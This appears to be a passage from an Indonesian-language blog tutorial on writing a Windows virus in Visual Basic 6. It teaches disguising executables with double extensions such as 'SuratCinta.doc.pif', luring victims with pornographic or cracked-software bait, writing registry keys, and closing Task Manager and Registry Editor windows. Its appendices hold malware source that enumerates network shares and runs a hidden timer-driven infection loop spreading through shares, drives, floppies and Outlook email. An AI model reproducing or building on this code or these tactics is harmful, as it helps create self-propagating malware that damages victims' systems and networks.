      SuratCinta.doc.pif

      Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

      SuratCinta.doc

      Mempercepat proses penyebarannya dengan pendekatan social engineering.


      Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

      Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

      Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

      Berusaha mempertahankan existensi dirinya


      Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

      WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
      WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

      Maupun melacak jendela proses-proses musuh, dan menutupnya.

      Public Sub KillEnemy()
      Dim EnemyProcess(20) As String
      Dim i As Integer
      EnemyProcess(1) = "Registry Editor"
      EnemyProcess(2) = "Windows Task Manager"
      EnemyProcess(3) = "Process Viewer"
      EnemyProcess(4) = "Open With"
      For i = 1 To 4 Step 1
          Call KillEnemyWindow(EnemyProcess(i))
      Next i
      End Sub

      Private Sub KillEnemyWindow(target As String)
      Dim Enemy_hwnd As Long
      Enemy_hwnd = FindWindow(vbNullString, target)
      If Not Enemy_hwnd = 0 Then
         CloseWindow (Enemy_hwnd)
      End If
      End Sub

      Kesimpulan :


      Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

      Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

      Lampiran A


      ‘API  Declaration Modul

      Option Explicit

      Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
      Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
      Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
      Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
      Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
      Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

      Public Const STILL_ACTIVE As Long = &H103
      Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

      Public Type NETRESOURCE
         dwScope As Long
         dwType As Long
         dwDisplayType As Long
         dwUsage As Long
         lpLocalName As Long
         lpRemoteName As Long
         lpComment As Long
         lpProvider As Long
      End Type

      Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
         (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
         lpNetResource As NETRESOURCE, lphEnum As Long) As Long
      Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
         (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
      Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
      Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
      Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
         (ByVal lpString1 As String, ByVal pString As Long) As Long
        
      Const RESOURCE_GLOBALNET = 2
      Const RESOURCETYPE_DISK = 1
      Const RESOURCEDISPLAYTYPE_DOMAIN = 0
      Const RESOURCEUSAGE_CONTAINER = 1

      Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
         Dim hEnum As Long, nrLen As Long, nrCount As Long
         Dim nr(2048) As NETRESOURCE, retval As Boolean
         nrCount = -1
         nrLen = 65536
         RemoteName = StrConv(RemoteName, vbFromUnicode)
         nr(0).lpRemoteName = StrPtr(RemoteName)
         Provider = StrConv(Provider, vbFromUnicode)
         nr(0).lpProvider = StrPtr(Provider)
         nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
         nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
         If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
            If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
               If nrCount > 0 Then
                  ReDim sShares(nrCount - 1) As String
                  For nrLen = 0 To (nrCount - 1)
                     sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
                     Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
                  Next nrLen
                  retval = True
               End If
            End If
            Call WNetCloseEnum(hEnum)
         End If
         GetShares = retval
      End Function

      Lampiran B


      ‘Form ff

      Option Explicit
      Dim SedangInfeksi As Boolean
      Dim SpreadEmail As Boolean
      Dim Aktifitas As Integer       '0 = floppy, 1 = flashdisk
      Dim Loncat As Integer

      Private Sub AT_Timer()
      Call KillEnemy
      If Not SedangInfeksi Then    ‘jangan overlapping proses
         SedangInfeksi = True
         If Aktifitas = 0 Then
            Call InfeksiMySharing
         ElseIf Aktifitas = 1 Then
            Call AmbilDomain
         ElseIf Aktifitas = 2 Then
            Call AmbilComputer
         ElseIf Aktifitas = 3 Then
            Call AmbilDrive
         ElseIf Aktifitas = 4 Then
            Call InfeksiNetworkDrive
         ElseIf Aktifitas = 5 Then
            Call InfeksiFloppy
         ElseIf Aktifitas = 6 Then
            'Call InfeksiFlashDisk
         ElseIf Aktifitas = 7 Then
            Call InfeksiMySharing
         ElseIf Aktifitas = 8 Then
            If Not SpreadEmail Then
               Call SpreadEmailOutlook
               SpreadEmail = True
            End If
            Aktifitas = 1
         End If
         Aktifitas = (Aktifitas + 1)
         SedangInfeksi = False
      End If
      End Sub

      Main Program
      Private Sub Form_Load()
      Me.Visible = False
      Me.Caption = titleSudahLoad
      AT.Interval = 1000
      SedangInfeksi = False
      SpreadEmail = False
      Aktifitas = 0
      Loncat = 0
      AT.Enabled = True
      End Sub


      • RSS
      • Delicious
      • Digg
      • Facebook
      • Twitter
      • Linkedin

      Search Site